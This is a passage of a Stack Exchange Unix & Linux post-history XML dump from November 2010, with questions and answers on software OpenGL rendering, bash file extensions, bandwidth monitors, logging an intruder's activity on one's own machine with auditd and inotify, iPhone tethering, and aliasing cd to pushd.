  <row Id="9283" PostHistoryTypeId="2" PostId="4272" RevisionGUID="0757e270-6e55-453a-bb3e-1c210fc98599" CreationDate="2010-11-22T21:02:44.543" UserId="1779" Text="Duplicating my answer [Force software based opengl rendering - Super User](http://superuser.com/questions/106056/force-software-based-opengl-rendering/210381#210381):&#xD;&#xA;&#xD;&#xA;&gt; &lt;pre&gt;&#xD;&#xA;&gt; sudo apt-get install &lt;a href=&quot;http://packages.ubuntu.com/libgl1-mesa-swx11&quot;&gt;libgl1-mesa-swx11&lt;/a&gt;&#xD;&#xA;&gt; &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&gt; will remove the [`libgl1-mesa-glx`](http://packages.ubuntu.com/libgl1-mesa-glx) hardware-accelerated Mesa libraries and install the software-only renderer.&#xD;&#xA;&#xD;&#xA;&gt; Alternately, you can set `LIBGL_ALWAYS_SOFTWARE=1`, which will only affect programs started with that environment variable, not the entire system.&#xD;&#xA;&#xD;&#xA;Fedora doesn't package the `swrast` DRI backend separately from `mesa-dri-drivers` (and I assume the same is the case in RHEL), so the first isn't an option, but the latter is." />
  <row Id="9284" PostHistoryTypeId="2" PostId="4273" RevisionGUID="e4e1bcbf-6db2-4d45-be8e-17a676022afe" CreationDate="2010-11-22T21:51:40.760" UserId="2729" Text="Quick way to find the binaries: `dpkg -L $pkg |grep bin/`." />
  <row Id="9285" PostHistoryTypeId="5" PostId="3926" RevisionGUID="4909cf07-3f6e-400b-9a74-b8225be88a05" CreationDate="2010-11-22T22:57:59.087" UserId="688" Comment="added 4 characters in body" Text="I'm basically looking for a utility that displays which processes are using how much bandwidth, similar to how `top` displays which processes use how much resources." />
  <row Id="9286" PostHistoryTypeId="5" PostId="4271" RevisionGUID="24c3324b-aaf5-4bec-94ee-de06a7945acd" CreationDate="2010-11-22T23:32:43.733" UserDisplayName="pkk" Comment="added 1034 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [bash : get file extension](http://unix.stackexchange.com/questions/1571/bash-get-file-extension)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;I have file names like below&#xD;&#xA;&#xD;&#xA;1. filename.jar&#xD;&#xA;2. filename.tar.gz&#xD;&#xA;3. filename with no extension&#xD;&#xA;4. org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar&#xD;&#xA;5. OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm&#xD;&#xA;6. web-app_2_3.dtd&#xD;&#xA;&#xD;&#xA;How can I get the file names and extensions for all these scenarios in a bash script. Can you please help me. Iuse3d the solution by Gilles @ http://unix.stackexchange.com/questions/1571/bash-get-file-extension&#xD;&#xA;&#xD;&#xA; File is NOTICE and base name is NOTICE and extension is&#xD;&#xA; File is OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm and base name is OPSWoracle10g_instantclient-10.2.0.3.0-3 and extension is sparc64 - here the base name and extension is wrong&#xD;&#xA; File is buildsystem-LC.notes and base name is buildsystem-LC and extension is n&#xD;&#xA;otes&#xD;&#xA; File is commons-logging.jar and base name is commons-logging and extension is jar&#xD;&#xA; File is jstl-1.2.jar and base name is jstl-1.2 and extension is jar&#xD;&#xA; File is org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar and base nam&#xD;&#xA;e is org.eclipse.birt.chart.reportitem_2.1.0 and extension is N20060628-1351 --- here the base name and extesnion is wrong&#xD;&#xA; File is php-5.2.14.tar.gz and base name is php-5.2.14 and extension is tar&#xD;&#xA; File is struts-blank.war and base name is struts-blank and extension is war&#xD;&#xA; File is web-app_2_3.dtd and base name is web-app_2_3 and extension is dtd " />
  <row Id="9287" PostHistoryTypeId="2" PostId="4274" RevisionGUID="56293b00-6271-4753-92b0-6e4ba5a98c7a" CreationDate="2010-11-22T23:35:14.483" UserId="688" Text="[NetHogs][1] is the best tool I have found so far that fulfills my need. ([via][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nethogs.sourceforge.net/&#xD;&#xA;  [2]: http://superuser.com/questions/29752/how-to-track-lan-usage-aka-top-for-lan" />
  <row Id="9288" PostHistoryTypeId="2" PostId="4275" RevisionGUID="03365ef2-ac97-4ab4-9c91-9228b1f888a0" CreationDate="2010-11-23T06:34:36.113" UserId="1327" Text="So recently I find that someone has been using my computer without consent, browsing folders, etc.... &#xD;&#xA;&#xD;&#xA;I could change all my passwords straight away, but I'm curious as the what the intruding party was looking for. So I would like to set up a trap ( evil grin ).&#xD;&#xA;&#xD;&#xA;What software will monitor any activity on my computer? While I know that capturing my screen will work here. I'd rather use a logfile.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;**/var/activity.log**&#xD;&#xA;&gt; [1 Aug 2010 20:23] /usr/bin/thunar accessed /multimedia/cctv-records/  &#xD;&#xA;&gt; [1 Aug 2010 20:25] /usr/bin/mplayer accessed /multimedia/cctv-records/00232.avi  &#xD;&#xA;&gt; [3 Aug 2010 02:34] /usr/bin/thunderbird was run  &#xD;&#xA;&gt; [3 Aug 2010 03:33] incomming ssh session from 12.32.132.123&#xD;&#xA;&#xD;&#xA;Activities I would like to log is:&#xD;&#xA;  &#xD;&#xA;  -  Access to files and folders on the filesystem&#xD;&#xA;  -  Commands run ( from console or otherwise )&#xD;&#xA;  -  User Sessions ( login's, ssh sessions and failed attempts )" />
  <row Id="9289" PostHistoryTypeId="1" PostId="4275" RevisionGUID="03365ef2-ac97-4ab4-9c91-9228b1f888a0" CreationDate="2010-11-23T06:34:36.113" UserId="1327" Text="monitoring activity on my computer." />
  <row Id="9290" PostHistoryTypeId="3" PostId="4275" RevisionGUID="03365ef2-ac97-4ab4-9c91-9228b1f888a0" CreationDate="2010-11-23T06:34:36.113" UserId="1327" Text="ésecurityàélogsà" />
  <row Id="9291" PostHistoryTypeId="5" PostId="4271" RevisionGUID="aa829945-1f07-4a44-8611-fe723c9f892e" CreationDate="2010-11-23T06:38:21.527" UserId="1327" Comment="added 44 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [bash : get file extension](http://unix.stackexchange.com/questions/1571/bash-get-file-extension)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;I have file names like below&#xD;&#xA;&#xD;&#xA;1. filename.jar&#xD;&#xA;2. filename.tar.gz&#xD;&#xA;3. filename with no extension&#xD;&#xA;4. org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar&#xD;&#xA;5. OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm&#xD;&#xA;6. web-app_2_3.dtd&#xD;&#xA;&#xD;&#xA;How can I get the file names and extensions for all these scenarios in a bash script. Can you please help me. Iuse3d the solution by Gilles @ http://unix.stackexchange.com/questions/1571/bash-get-file-extension&#xD;&#xA;&#xD;&#xA;     File is NOTICE and base name is NOTICE and extension is&#xD;&#xA;     File is OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm and base name is OPSWoracle10g_instantclient-10.2.0.3.0-3 and extension is sparc64 - here the base name and extension is wrong&#xD;&#xA;     File is buildsystem-LC.notes and base name is buildsystem-LC and extension is n&#xD;&#xA;    otes&#xD;&#xA;     File is commons-logging.jar and base name is commons-logging and extension is jar&#xD;&#xA;     File is jstl-1.2.jar and base name is jstl-1.2 and extension is jar&#xD;&#xA;     File is org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar and base nam&#xD;&#xA;    e is org.eclipse.birt.chart.reportitem_2.1.0 and extension is N20060628-1351 --- here the base name and extesnion is wrong&#xD;&#xA;     File is php-5.2.14.tar.gz and base name is php-5.2.14 and extension is tar&#xD;&#xA;     File is struts-blank.war and base name is struts-blank and extension is war&#xD;&#xA;     File is web-app_2_3.dtd and base name is web-app_2_3 and extension is dtd " />
  <row Id="9292" PostHistoryTypeId="2" PostId="4276" RevisionGUID="4ab20f28-bc20-4045-844b-74f3048e4cae" CreationDate="2010-11-23T07:48:36.027" UserId="2626" Text="Have a look at **[fail2ban](https://wiki.archlinux.org/index.php/Fail2ban)**." />
  <row Id="9293" PostHistoryTypeId="5" PostId="4276" RevisionGUID="56dfcd03-8515-41e2-8b3e-cf719a9378fe" CreationDate="2010-11-23T08:03:01.093" UserId="2626" Comment="added 68 characters in body" Text="Have a look at **[fail2ban](https://wiki.archlinux.org/index.php/Fail2ban)** and **[denyhosts](https://wiki.archlinux.org/index.php/DenyHosts)**." />
  <row Id="9294" PostHistoryTypeId="5" PostId="4276" RevisionGUID="5c8fe971-67d9-4a64-8da3-1b93970b088c" CreationDate="2010-11-23T08:14:31.883" UserId="2626" Comment="edited body" Text="Have a look at **[Fail2ban](https://wiki.archlinux.org/index.php/Fail2ban)** and **[DenyHØsts](https://wiki.archlinux.org/index.php/DenyHosts)**." />
  <row Id="9295" PostHistoryTypeId="2" PostId="4277" RevisionGUID="18a13119-36fb-4eb0-a9a8-f5ae3dd28104" CreationDate="2010-11-23T08:24:50.077" UserId="2000" Text="I would like to add iptraf to the list. &lt;http://iptraf.seul.org&gt;" />
  <row Id="9296" PostHistoryTypeId="2" PostId="4278" RevisionGUID="440393b5-bd30-4259-9238-8dcc99e6d215" CreationDate="2010-11-23T09:04:56.100" UserId="2772" Text="Hi, iam trying to install Postfix on Ubuntu 10.04 using command 'sudo apt-get install postfix' but there comes error as shown below:&#xD;&#xA;&#xD;&#xA;Preconfiguring packages ... (Reading database ... 164023 files and directories currently installed.) Preparing to replace locales 2.9+git20090617-3 (using .../locales_2.11.2-7_all.deb) ... Unpacking replacement locales ... dpkg: error processing /var/cache/apt/archives/locales_2.11.2-7_all.deb (--unpack): trying to overwrite '/usr/sbin/validlocale', which is also in package libc-bin 0:2.10.1-0ubuntu18 Processing triggers for man-db ... Errors were encountered while processing: /var/cache/apt/archives/locales_2.11.2-7_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;&#xD;&#xA;Please help me what to do&#xD;&#xA;" />
  <row Id="9297" PostHistoryTypeId="1" PostId="4278" RevisionGUID="440393b5-bd30-4259-9238-8dcc99e6d215" CreationDate="2010-11-23T09:04:56.100" UserId="2772" Text="Ubuntu postfix installation error: trying to overwrite '/usr/sbin/validlocale', which is also in package libc-bin 0:2.10.1-0ubuntu18" />
  <row Id="9298" PostHistoryTypeId="3" PostId="4278" RevisionGUID="440393b5-bd30-4259-9238-8dcc99e6d215" CreationDate="2010-11-23T09:04:56.100" UserId="2772" Text="éubuntuà" />
  <row Id="9301" PostHistoryTypeId="2" PostId="4280" RevisionGUID="e868b3be-3de8-4fdc-9291-2bcc296980cf" CreationDate="2010-11-23T09:43:12.780" UserId="688" Text="This isn't exactly what you are looking for, but some apps keep a list of recently-accessed files. Also, GNOME keeps that list, which can be accessed from its Panel.&#xD;&#xA;&#xD;&#xA;Another fix is to use [GNOME Activity Journal][1], though last time I checked, it didn't keep a record of CLI activity, and was only interested in file-related activity (reading, editing), ignoring other activities.&#xD;&#xA;&#xD;&#xA;You can also look inside `/var/log` directory where a bunch of programs store their logs.&#xD;&#xA;&#xD;&#xA;[1]:https://launchpad.net/gnome-activity-journal" />
  <row Id="9302" PostHistoryTypeId="6" PostId="4278" RevisionGUID="39747107-e60e-42cd-9480-70837c464ea7" CreationDate="2010-11-23T09:57:11.723" UserId="2772" Comment="edited tags" Text="éubuntuàémailà" />
  <row Id="9304" PostHistoryTypeId="2" PostId="4281" RevisionGUID="e6608181-c225-4e5f-b1c0-6d089dc88cf5" CreationDate="2010-11-23T10:08:55.290" UserId="2772" Text="what are the steps to use iphone 3G internet tethering via USB on Ubuntu 10.04, i mean what are the softwares do i need to install on Ubuntufor this, the tethering works fine on windows OS." />
  <row Id="9305" PostHistoryTypeId="1" PostId="4281" RevisionGUID="e6608181-c225-4e5f-b1c0-6d089dc88cf5" CreationDate="2010-11-23T10:08:55.290" UserId="2772" Text="How to use iphone internet tethering via USB with Ubuntu 10.04" />
  <row Id="9306" PostHistoryTypeId="3" PostId="4281" RevisionGUID="e6608181-c225-4e5f-b1c0-6d089dc88cf5" CreationDate="2010-11-23T10:08:55.290" UserId="2772" Text="éubuntuàéiphoneà" />
  <row Id="9307" PostHistoryTypeId="2" PostId="4282" RevisionGUID="f7a2fde1-5a37-43b4-85d3-b36ac098db64" CreationDate="2010-11-23T10:19:01.643" UserId="1026" Text="In order for me to watch HD videos without tearing, I need to disable my Composite setting in `xorg.conf` &#xD;&#xA;&#xD;&#xA;    Section &quot;Extensions&quot;&#xD;&#xA;        Option &quot;Composite&quot; &quot;Disable&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;But I love my transparency, so, how do I enable and disable it without restarting X? (Preferably using command line)" />
  <row Id="9308" PostHistoryTypeId="1" PostId="4282" RevisionGUID="f7a2fde1-5a37-43b4-85d3-b36ac098db64" CreationDate="2010-11-23T10:19:01.643" UserId="1026" Text="Disable Composite without restarting X" />
  <row Id="9309" PostHistoryTypeId="3" PostId="4282" RevisionGUID="f7a2fde1-5a37-43b4-85d3-b36ac098db64" CreationDate="2010-11-23T10:19:01.643" UserId="1026" Text="éxorgàévideoàéslackwareàéxfceà" />
  <row Id="9310" PostHistoryTypeId="5" PostId="4275" RevisionGUID="609c0211-9970-4ccd-a886-9f4557b7e958" CreationDate="2010-11-23T10:19:20.963" UserId="1327" Comment="added 4 characters in body" Text="So recently I find that someone has been using my computer without consent, browsing folders, etc.... &#xD;&#xA;&#xD;&#xA;I could change all my passwords straight away, but I'm curious as the what the intruding party was looking for. So I would like to set up a trap ( evil grin ).&#xD;&#xA;&#xD;&#xA;What software will monitor any activity on my computer? While I know that capturing my screen will work here. I'd rather use a logfile.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;**/var/log/activity.log**&#xD;&#xA;&gt; [1 Aug 2010 20:23] /usr/bin/thunar accessed /multimedia/cctv-records/  &#xD;&#xA;&gt; [1 Aug 2010 20:25] /usr/bin/mplayer accessed /multimedia/cctv-records/00232.avi  &#xD;&#xA;&gt; [3 Aug 2010 02:34] /usr/bin/thunderbird was run  &#xD;&#xA;&gt; [3 Aug 2010 03:33] incomming ssh session from 12.32.132.123&#xD;&#xA;&#xD;&#xA;Activities I would like to log is:&#xD;&#xA;  &#xD;&#xA;  -  Access to files and folders on the filesystem&#xD;&#xA;  -  Commands run ( from console or otherwise )&#xD;&#xA;  -  User Sessions ( login's, ssh sessions and failed attempts )" />
  <row Id="9313" PostHistoryTypeId="2" PostId="4283" RevisionGUID="a5bd51b0-8aaf-41be-a883-fce52c35e2ca" CreationDate="2010-11-23T11:23:08.983" UserId="2626" Text="This should work: [USB tethering with iPhone 3G](http://techie-buzz.com/foss/getting-iphone-internet-tethering-working-in-linux.html)" />
  <row Id="9314" PostHistoryTypeId="12" PostId="4283" RevisionGUID="a584c225-f1d7-43fd-a221-4066f56092d8" CreationDate="2010-11-23T11:25:22.180" UserId="2626" Text="[{&quot;Id&quot;:2626,&quot;DisplayName&quot;:&quot;iamsid&quot;}]" />
  <row Id="9315" PostHistoryTypeId="13" PostId="4283" RevisionGUID="a4751cdc-a923-45cc-8e58-4c566b5e8fff" CreationDate="2010-11-23T11:25:34.100" UserId="2626" Text="[{&quot;Id&quot;:2626,&quot;DisplayName&quot;:&quot;iamsid&quot;}]" />
  <row Id="9316" PostHistoryTypeId="5" PostId="4283" RevisionGUID="9d933c11-5c9d-4c73-9e63-c0d052f54b3f" CreationDate="2010-11-23T11:31:35.907" UserId="2626" Comment="added 24 characters in body" Text="Follow this how-to: [Getting iPhone Internet Tethering Working in Linux](http://techie-buzz.com/foss/getting-iphone-internet-tethering-working-in-linux.html)" />
  <row Id="9317" PostHistoryTypeId="2" PostId="4284" RevisionGUID="17819730-9e70-42ac-b0b3-cf8a7274c9d1" CreationDate="2010-11-23T11:36:31.817" UserId="1339" Text="Diego Diagio created an iPhone kernel module called &quot;ipheth&quot;. &#xD;&#xA;&#xD;&#xA;It will be available in the kernel with version 2.6.34.&#xD;&#xA;&#xD;&#xA;This module will register your phone as a network interface and you can simply use it with your dhcp-client or network manager.&#xD;&#xA;&#xD;&#xA;Set up the Ubuntu Repository:&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository ppa:pmcenery/ppa&#xD;&#xA;    sudo apt-get update&#xD;&#xA;&#xD;&#xA;Install the Kernel Module:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install gvfs ipheth-utils&#xD;&#xA;&#xD;&#xA;After that, enable tethering on your phone and connect it with your computer. Use `dmesg` to check if the device was recognized. Usually you will now have a new networking device, like `/dev/ethX`. Use it in your network manager or use dhclient, for example:&#xD;&#xA;&#xD;&#xA;    dhclient eth2&#xD;&#xA;&#xD;&#xA;In addtion: My android phone registres as usb0, so it is `dhclient usb0` to do the trick.&#xD;&#xA;&#xD;&#xA;If you problems getting the repository to work, see the [project page][1] for further information.&#xD;&#xA;&#xD;&#xA;**Advantage: No jailbreaking and additional port binding / proxys are required**&#xD;&#xA;&#xD;&#xA;  [1]: http://giagio.com/wiki/moin.cgi/iPhoneEthernetDriver" />
  <row Id="9318" PostHistoryTypeId="5" PostId="4283" RevisionGUID="4777fb39-a0f9-4c95-884c-63167b70e2b6" CreationDate="2010-11-23T11:38:02.143" UserId="2626" Comment="added 28 characters in body" Text="Follow this how-to: [Getting iPhone Internet Tethering Working in Linux](http://techie-buzz.com/foss/getting-iphone-internet-tethering-working-in-linux.html) (No jailbreaking involved!)" />
  <row Id="9319" PostHistoryTypeId="2" PostId="4285" RevisionGUID="7869d5bb-a7b8-452e-ad46-e1c3247a3609" CreationDate="2010-11-23T11:48:16.273" UserId="2626" Text="Use **[fusion-icon](http://wiki.compiz.org/CompizFusionIcon)**." />
  <row Id="9320" PostHistoryTypeId="5" PostId="4285" RevisionGUID="2c3c94a2-64dd-4cbd-83f6-327775521fe7" CreationDate="2010-11-23T11:57:33.040" UserId="2626" Comment="added 59 characters in body" Text="Use **[fusion-icon](http://wiki.compiz.org/CompizFusionIcon)**.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/KkBrb.png" />
  <row Id="9321" PostHistoryTypeId="2" PostId="4286" RevisionGUID="ac32d27d-5fd2-47ef-8401-f75aade16111" CreationDate="2010-11-23T14:05:48.000" UserId="2344" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I have a Red-Hat 6 machine, which came with GCC but without g++.&#xD;&#xA;The gcc version is 4.4.4 20100726 (this is what I got from gcc --version).&#xD;&#xA;&#xD;&#xA;How can I get g++ working? Currently, when trying to type g++ the shell prints &quot;command not found&quot;.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="9322" PostHistoryTypeId="1" PostId="4286" RevisionGUID="ac32d27d-5fd2-47ef-8401-f75aade16111" CreationDate="2010-11-23T14:05:48.000" UserId="2344" Text="Install g++ when having gcc (C only) -- RH6" />
  <row Id="9323" PostHistoryTypeId="3" PostId="4286" RevisionGUID="ac32d27d-5fd2-47ef-8401-f75aade16111" CreationDate="2010-11-23T14:05:48.000" UserId="2344" Text="érhelàésoftwareöinstallationàégccà" />
  <row Id="9324" PostHistoryTypeId="2" PostId="4287" RevisionGUID="c04e62af-d9db-486b-954d-1e1927e803a9" CreationDate="2010-11-23T14:29:44.873" UserId="2626" Text="You need to install gcc-g++ : `yum install gcc-c++`" />
  <row Id="9325" PostHistoryTypeId="2" PostId="4288" RevisionGUID="751176c0-3456-4ef4-b2bd-56a7b92ee7de" CreationDate="2010-11-23T15:47:32.193" UserId="146" Text="You can't disable an X extension while the server is running - the X protocol simply has no way to tell clients “Oh wait, that extension that I said you could use is no longer valid and you'll crash if you try to use it now.”   All you can do is stop running whatever composite manager you're using (as suggested in @iamsid's answer)." />
  <row Id="9326" PostHistoryTypeId="2" PostId="4289" RevisionGUID="fdea6477-0384-49a0-a40e-e732a9deb279" CreationDate="2010-11-23T16:32:29.207" UserId="2641" Text="Assuming enough naïveté on the side of your attacker, you can simply throw `script -qft $USER-$$ 2&gt; $USER-$$-time` into his/your appropriate login script to monitor his or her terminal interactions and replay with the appropriate scriptreplay commands.&#xD;&#xA;&#xD;&#xA;To monitor file-level access, I recommend attaching an `strace -fe open` with appropriate logging to the sshd and filtering for login sessions (or maybe it's better to just do this from . Warning: Huge outputs, since doing anything on a modern system touches _a lot_ of files. If you just want to monitor specific files, have a look at [auditd][1] and its support infrastructure.&#xD;&#xA;&#xD;&#xA;Sessions and login attempts can be gathered from syslog as per other answers. &#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/auditd" />
  <row Id="9327" PostHistoryTypeId="5" PostId="4249" RevisionGUID="d95be86a-a04b-42f7-9672-97175094d5f9" CreationDate="2010-11-23T17:26:58.973" UserId="2755" Comment="added 447 characters in body" Text="I'm trying to make a simple weekly Anacron job that backs up my computer if I click yes on the dialog. The script I wrote works fine if run manually, but when Anacron runs it, nothing happens and I see `Gtk-WARNING **: cannot open display` in the logs. Apparently the script is run at a stage where graphical operations cannot be run. Is there any way to get this dialog to open from an Anacron job?&#xD;&#xA;&#xD;&#xA;Code:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # Backs up the local filesystem on the external HDD&#xD;&#xA;    &#xD;&#xA;    sleep 60&#xD;&#xA;    &#xD;&#xA;    DISPLAY=:0.0&#xD;&#xA;    &#xD;&#xA;    zenity --question --text &quot;Do you want to backup? Be sure to turn on the HDD.&quot;&#xD;&#xA;    if [ $? -ne 0 ]&#xD;&#xA;        then exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    *Do backup stuff here*&#xD;&#xA;&#xD;&#xA;Error:&#xD;&#xA;&#xD;&#xA;    (zenity:2351): Gtk-WARNING **: cannot open display: &#xD;&#xA;    run-parts: /etc/cron.daily/backup-on-external exited with return code 1" />
  <row Id="9328" PostHistoryTypeId="2" PostId="4290" RevisionGUID="17ba5790-7341-454b-ab57-79f9d570d34c" CreationDate="2010-11-23T17:42:12.077" UserId="912" Text="Is it a good idea to use the following alias:&#xD;&#xA;&#xD;&#xA;    cd() {&#xD;&#xA;        pushd $1;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in bash?&#xD;&#xA;&#xD;&#xA;I think this would be very useful, since I can then use a series of `popd`s instead of just a `cd -` once.&#xD;&#xA;&#xD;&#xA;Is there any case where this might be a problem?" />
  <row Id="9329" PostHistoryTypeId="1" PostId="4290" RevisionGUID="17ba5790-7341-454b-ab57-79f9d570d34c" CreationDate="2010-11-23T17:42:12.077" UserId="912" Text="Aliasing cwd to pushd" />
  <row Id="9330" PostHistoryTypeId="3" PostId="4290" RevisionGUID="17ba5790-7341-454b-ab57-79f9d570d34c" CreationDate="2010-11-23T17:42:12.077" UserId="912" Text="ébashàéshellàéshellöscriptàéaliasà" />
  <row Id="9331" PostHistoryTypeId="4" PostId="4290" RevisionGUID="c1e94200-a450-4f04-abe4-bd74cf7cec73" CreationDate="2010-11-23T17:52:57.543" UserId="912" Comment="edited title" Text="aliasing cd to pushd - is it a good idea?" />
  <row Id="9332" PostHistoryTypeId="2" PostId="4291" RevisionGUID="ea48b93e-e8b8-4630-8490-71af964d72ea" CreationDate="2010-11-23T18:25:32.147" UserId="2712" Text="Personally, I have these in my bashrc and use them all the time:&#xD;&#xA;&#xD;&#xA;    pushd()&#xD;&#xA;    {&#xD;&#xA;      if [ $# -eq 0 ]; then&#xD;&#xA;        DIR=&quot;${HOME}&quot;&#xD;&#xA;      else&#xD;&#xA;        DIR=&quot;$1&quot;&#xD;&#xA;      fi&#xD;&#xA;&#xD;&#xA;      builtin pushd &quot;${DIR}&quot; &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pushd_builtin()&#xD;&#xA;    {&#xD;&#xA;      builtin pushd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    popd()&#xD;&#xA;    {&#xD;&#xA;      builtin popd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    alias cd='pushd'&#xD;&#xA;    alias back='popd'&#xD;&#xA;    alias flip='pushd_builtin'&#xD;&#xA;&#xD;&#xA;You can then navigate around on the command-line a bit like a browser. `cd` changes the directory. `back` goes to the previous directory that you `cd`ed from. And flip will move between the current and previous directories without popping them from the directory stack. Overall, it works great.&#xD;&#xA;&#xD;&#xA;The only real problem that I'm aware of is the fact that it's then a set of commands that I'm completely used to but don't exist on anyone else's machine. So, if I have to use someone elses machine, it can be a bit frustrating. If you're used to just using `pushd` and `popd` directly, you don't have that problem. And while if you just alias `cd` put not `popd`, you won't have the issue of `back` not existing, you'll still have the problem that `cd` doesn't do quite what you expect on other machines.&#xD;&#xA;&#xD;&#xA;I would note, however, that your particular implementation of `cd` as you give it doesn't quite work like `cd` in that `cd` by itself will go to your home directory. The version that I have here doesn't have that problem. Mine also appends `DIRSTACK` onto the front of the `dirs` print out, but that's more a matter of personal taste more than anything.&#xD;&#xA;&#xD;&#xA;So, as I said, I use these aliases all the time and have no problem with them. It's just that it can be a bit frustrating to have to use another machine and then find them not there (which shouldn't be surprising, but they're one of those things that you use so often that you don't think about them, so having them not work like you're used to can still be surprising)." />
  <row Id="9333" PostHistoryTypeId="2" PostId="4292" RevisionGUID="4df7eaec-9258-4c63-bada-1c9af69c3c8c" CreationDate="2010-11-23T18:59:40.090" UserId="2661" Text="You could use in-kernel mechanism `inotify` for monitoring accessed files.&#xD;&#xA;&#xD;&#xA;First you should check if `inotify` is turned on in kernel:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ zcat /proc/config.gz | grep CONFIG_INOTIFY&#xD;&#xA;    CONFIG_INOTIFY=y&#xD;&#xA;    CONFIG_INOTIFY_USER=y&#xD;&#xA;&#xD;&#xA;Next thing to do is install `inotify-tools`. Instructions for various distributions you could find at [project page][1] - it should be in repositories of all major distributions.&#xD;&#xA;&#xD;&#xA;After that inotify is ready to work:&#xD;&#xA;&#xD;&#xA;    inotifywait /dirs/to/watch -mrq&#xD;&#xA;&#xD;&#xA;(`m` = do not exit after one event, `r` = recursive, `q` = quiet)&#xD;&#xA;&#xD;&#xA;For example - output after `ls /home/pbm`&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ inotifywait /bin /home/pbm -mq &#xD;&#xA;    /bin/ OPEN ls&#xD;&#xA;    /bin/ ACCESS ls&#xD;&#xA;    /bin/ ACCESS ls&#xD;&#xA;    /home/pbm/ OPEN,ISDIR &#xD;&#xA;    /home/pbm/ CLOSE_NOWRITE,CLOSE,ISDIR &#xD;&#xA;    /bin/ CLOSE_NOWRITE,CLOSE ls&#xD;&#xA;&#xD;&#xA;Important thing is to properly set directories for watch:&#xD;&#xA;&#xD;&#xA; - don't watch `/` recursively - there is a lot of read/write to `/dev` and `/proc`&#xD;&#xA; - don't watch your home dir recursively - when you use apps there is a lot of read/write to application configuration dirs and browsers profile dirs&#xD;&#xA;&#xD;&#xA;In `/proc/sys/fs/inotify/max_user_watches` there is configuration option that shows how manu files could be watched simultaneously. Default value (for Gentoo) is about not so high, so if you set watcher to `/home/` you could exceed limit. You could increase limit by using `echo` (root access needed).&#xD;&#xA;&#xD;&#xA;    echo 524288 &gt; /proc/sys/fs/inotify/max_user_watches&#xD;&#xA;&#xD;&#xA;But before that you should read about [consequences of that change][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rvoicilas/inotify-tools/wiki/#getting&#xD;&#xA;  [2]: http://www.spinics.net/linux/fedora/fedora-kernel/msg02606.html" />
  <row Id="9334" PostHistoryTypeId="6" PostId="4282" RevisionGUID="eb64336a-1d8c-464d-a10b-bcdbab7064df" CreationDate="2010-11-23T19:10:18.703" UserId="885" Comment="edited tags" Text="éxorgàévideoàéxfceàécompositeà" />
  <row Id="9335" PostHistoryTypeId="6" PostId="4281" RevisionGUID="bb724159-24ea-4ff2-9132-cc4e17b01f89" CreationDate="2010-11-23T19:12:18.217" UserId="885" Comment="edited tags" Text="éubuntuàéusbàéiphoneàénetworkösharingà" />
  <row Id="9336" PostHistoryTypeId="5" PostId="4292" RevisionGUID="7dbbe7ec-edd9-4ce8-8c54-d7623ea25a4d" CreationDate="2010-11-23T19:23:08.433" UserId="2661" Comment="added 279 characters in body" Text="You could use in-kernel mechanism `inotify` for monitoring accessed files.&#xD;&#xA;&#xD;&#xA;First you should check if `inotify` is turned on in kernel:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ zcat /proc/config.gz | grep CONFIG_INOTIFY&#xD;&#xA;    CONFIG_INOTIFY=y&#xD;&#xA;    CONFIG_INOTIFY_USER=y&#xD;&#xA;&#xD;&#xA;Next thing to do is install `inotify-tools`. Instructions for various distributions you could find at [project page][1] - it should be in repositories of all major distributions.&#xD;&#xA;&#xD;&#xA;After that inotify is ready to work:&#xD;&#xA;&#xD;&#xA;    inotifywait /dirs/to/watch -mrq&#xD;&#xA;&#xD;&#xA;(`m` = do not exit after one event, `r` = recursive, `q` = quiet)&#xD;&#xA;&#xD;&#xA;For example - output after `ls /home/pbm`&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ inotifywait /bin /home/pbm -mq &#xD;&#xA;    /bin/ OPEN ls&#xD;&#xA;    /bin/ ACCESS ls&#xD;&#xA;    /bin/ ACCESS 